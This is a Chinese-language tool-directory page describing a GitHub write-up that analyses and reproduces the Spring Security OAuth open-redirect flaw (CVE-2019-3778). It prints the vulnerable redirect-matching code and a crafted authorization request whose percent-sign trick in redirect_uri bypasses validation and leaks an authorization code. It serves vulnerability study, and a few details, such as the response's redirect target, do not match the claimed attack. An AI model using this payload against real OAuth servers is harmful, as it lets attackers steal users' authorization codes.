Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/bbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHubbbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection 分析复现篇

查看仓库
16年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-3778-Spring-Security-OAuth-2.3-开放重定向

Spring Security OAuth 2.3 开放重定向 分析复现篇

漏洞利用标题:spring-security-oauth2 中的开放重定向器

日期:2019年6月17日

漏洞利用作者:Riemann

厂商主页:https://spring.io/projects/spring-security-oauth

软件链接:https://spring.io

版本:Spring Security OAuth 2.3 至 2.3.6 之前的版本 - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

测试环境:UBUNTU 16.04 LTS - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

CVE:CVE-2019-11269 | CVE-2019-3778

描述

Spring Security OAuth 版本 2.3 至 2.3.6 之前、2.2 至 2.2.5 之前、2.1 至 2.1.5 之前、2.0 至 2.0.18 之前,以及不再受支持的旧版本,都可能容易受到开放重定向攻击,导致授权码泄露。恶意用户或攻击者可以使用授权码授权类型向授权端点构造请求,并通过 redirect_uri 参数指定一个被篡改的重定向 URI。这可能导致授权服务器将资源拥有者的用户代理重定向到攻击者控制的 URI,并附带上泄露的授权码。

漏洞原因:

通过操纵 REDIRECT_URI 参数,攻击者可以实际绕过验证。

导致漏洞的代码位于包 org.springframework.security.oauth2.provider.endpoint 下。 类 DefaultRedirectResolver 中的方法 obtainMatchingRedirect 未进行适当的清理:

/**

  • Attempt to match one of the registered URIs to the that of the requested one.

  • @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty.

  • @param requestedRedirect the URI used as part of the request

  • @return the matching URI

  • @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");

    if (redirectUris.size() == 1 && requestedRedirect == null) { return redirectUris.iterator().next(); } for (String redirectUri : redirectUris) { if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) { return requestedRedirect; } } throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect + " does not match one of the registered values: " + redirectUris.toString()); }

漏洞利用攻击向量

以下由客户端应用程序在用户登录后发出的请求包含 REDIRECT_URI 参数。通过简单地添加一个百分号即可绕过验证,从而触发重定向而不是 RedirectMismatchException 错误。

原始请求包含一个有效的 URI: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1

攻击者通过完全更改 URI 来欺骗应用程序,例如添加一个百分号并指向另一个服务器: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1

响应确实没有产生预期的 OAuth 错误,而是重定向了用户: HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close

下载工具